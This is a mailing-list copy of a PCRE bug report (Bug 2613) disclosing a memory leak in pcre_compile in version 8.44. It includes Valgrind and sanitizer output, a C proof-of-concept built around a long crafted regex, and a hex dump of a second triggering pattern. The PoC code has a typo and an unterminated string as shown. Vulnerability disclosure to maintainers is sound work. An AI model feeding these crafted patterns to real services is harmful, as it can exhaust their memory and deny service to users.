[pcre-dev] [Bug 2613] New: PCRE Library DoS through a Memory…

Pàgina inicial
Delete this message
Autor: admin
Data:  
A: pcre-dev
Assumptes nous: [pcre-dev] [Bug 2613] PCRE Library DoS through a Memory Leak vulnerability
Assumpte: [pcre-dev] [Bug 2613] New: PCRE Library DoS through a Memory Leak vulnerability
https://bugs.exim.org/show_bug.cgi?id=2613

            Bug ID: 2613
           Summary: PCRE Library DoS through a Memory Leak vulnerability
           Product: PCRE
           Version: 8.44
          Hardware: All
                OS: All
            Status: NEW
          Severity: security
          Priority: medium
         Component: Code
          Assignee: ph10@???
          Reporter: daniel.romero@???
                CC: pcre-dev@???


A memory leak vulnerability was found in the PCRE library. This can be used to
DoS the application which implements the PCRE library.

Tested: 8.44 and 8.43 versions

A proof of concept of this vulnerability is shown below:

=========
$ valgrind --leak-check=full ./leak1-pcre 
==26706== Memcheck, a memory error detector
==26706== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==26706== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==26706== Command: ./leak1-pcre
==26706== 
==26706== 
==26706== HEAP SUMMARY:
==26706==     in use at exit: 5,120 bytes in 1 blocks
==26706==   total heap usage: 4 allocs, 3 frees, 9,600 bytes allocated
==26706== 
==26706== 5,120 bytes in 1 blocks are definitely lost in loss record 1 of 1
==26706==    at 0x4C2FB0F: malloc (in
/usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==26706==    by 0x406EC0: compile_branch (pcre_compile.c:7254)
==26706==    by 0x406EC0: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706==    by 0x403A2E: compile_branch (pcre_compile.c:7769)
==26706==    by 0x403A2E: compile_regex (pcre_compile.c:8408)
==26706== 
==26706== LEAK SUMMARY:
==26706==    definitely lost: 5,120 bytes in 1 blocks
==26706==    indirectly lost: 0 bytes in 0 blocks
==26706==      possibly lost: 0 bytes in 0 blocks
==26706==    still reachable: 0 bytes in 0 blocks
==26706==         suppressed: 0 bytes in 0 blocks
==26706== 
==26706== For counts of detected and suppressed errors, rerun with: -v
==26706== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
=========


PoC source code:

=========
#include <pcre.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
pcre *reCompiled;
int pcreExecRet;
int subStrVec[30];
const char *pcreErrorStr;
int pcreErrorOffset;
char *aStrRegex;

char *query_text = "Johns email address is johnny@???.
Priscilla manages the http://www.johnnydoessql.com site. She also manages the
site http://jilldoessql.com and can be reached at 345.678.9999 She can be
reached at (123) 456-7890 and her email address is prissy@??? or
prissy@???.";

aStrRegex = "(?JJJ)>?W((?<a>!)||(?<a><aR)|(?<a>W!| P(?<a>!)
C(?<a>!)||(?<a>!)|;|(?<a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!?!)|(?<a>W!| P(?<e>!)
C(?<a>!)||(?<a>!aR)|(?<a>!?!)||(?<a>)|(?<a>!6]|P(?<a>!)|(?<aa>!?!);|(?<a>W!|
P(?<a>!) C(?<a>!)||(?<a>!aR|(?<a>!?!);|(?<a>W!)
(?<a>!)||(?<a>)|(?<a>||(?<a><a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!?!);|(?<a>W(?<a>!)
C(?<a>!)||(?<a>!aR)|(?<a>|1|t(?<a>)(?<a>!??<aR)|(?<a>!:aW )
C(?<a>!)||(?<a>!aR)|(?<a>!?!|(?<a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR)|(?<a>!(?<a>)(?<a><aR)|(?<a>!:aW ) C(?<a>!)|;|(?<a>W!|
P(?<a>!) C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!?!);|(?<aa>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!?!)|(?<a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR)|(?<a>!?!)||(?<a>)|(?<a>!2]|P(?<a>!)|C(?<a>!()|(?<aa>!?!);|(?<a>W!|
P(?<a>!) C(?<a>!)||(?<a>!aR|(?<a>!?!);|(?<a>W!)
__P(?<a>!-||(?<a>)|(?<a>||(?<a><a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!?!);|(?<a>W(?<a>!)
C(?<a>!)||(?<a>!aR)|(?<a>|1|t(?<a>)(?<a>!??<a!)
__P(?<a>!|(?<a>)|(?<a>!3]|P(?<a>!)|C(?<a>!)||(?<a>!aR)|(?<a>!?!);|(?<a>W!|
P(?<a>!) C(?<a>!)|;|(?<a>W!| P(?<a>!) C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!
m);|(?<a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR)|(?<a>!?!)||(?<a>)|(?<a>!6]|P(?<a>!)|C(?<a>!()(?<aa>!?!);|(?<a>W!|
P(?<a>!) C(?<a>!)||(?<a>!?!);|(?<a>W!)
!)||(?<a>)|(?<a>!6]|P(?<a>!)|(?<aa>!?!);|(?<a>W!| P(?<a>!)
C(?<a>!)||(?<a>!aR|(?<a>!?!);|(?<a>W!) (?<a>!)||(?<a>)|(?<a>||(?<a><a>W!|
P(?<a>!) C(?<a>!)||(?<a>!aR(?<a>!aR)|(?<a>!?!);|(?<a>W(?<a>!)
C(?<a>!)||(?<a>!aR)|(?<a>|1|t(?<a>)(?<a>!??<__P(?<a>!||(?<a>)|(?<a>||(?<a>!?<"

  reCompiled = pcre_compile(aStrRegex, 0, &pcreErrorStr, &pcreErrorOffset,
NULL);
  if (reCompiled)
  {
    pcreExecRet = pcre_exec(reCompiled, 0, qery_text, strlen(query_text), 0, 0,
subStrVec, 30);
    pcre_free(reCompiled);
  }
  return 0;
}
=========


Similarly, other payloads also triggered this vuln and can leak a different
memory sizes:

$ xxd d8cdb8d0ec1a6b1ecca2449d256fabeeb6774179
00000000: 283f 3c61 3e28 3f4a 2928 3f3c 613e 283f  (?<a>(?J)(?<a>(?
00000010: 3c71 3e61 283f 3c71 3e28 3f3c 613e 283f  <q>a(?<q>(?<a>(?
00000020: 3c71 3e21 283f 3c71 3e21 283f 3c61 3e28  <q>!(?<q>!(?<a>(
00000030: 3f3c 713e 283f 3c61 3e28 3f3c 613e 283f  ?<q>(?<a>(?<a>(?
00000040: 3c71 3e28 3f3c 613e 283f 3c76 3e3e 283f  <q>(?<a>(?<v>>(?
00000050: 3c71 3e7b 283f 3c61 3e28 3f3c 793e 283f  <q>{(?<a>(?<y>(?
00000060: 3c61 3e3e 283f 3c71 3e61 283f 3c71 3e28  <a>>(?<q>a(?<q>(
00000070: 3f3c 753e                                ?<u>


$ ./leak2-pcre d8cdb8d0ec1a6b1ecca2449d256fabeeb6774179

=================================================================
==26012==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 640 byte(s) in 1 object(s) allocated from:
    #0 0x4e48c7 in malloc /<path>/asan/asan_malloc_linux.cc:146
    #1 0x52c7e0 in compile_branch /<path>/pcre-8.44/pcre_compile.c:7254
    #2 0x52c7e0 in compile_regex /<path>/pcre-8.44/pcre_compile.c:8408


SUMMARY: AddressSanitizer: 640 byte(s) leaked in 1 allocation(s).

--
You are receiving this mail because:
You are on the CC list for the bug.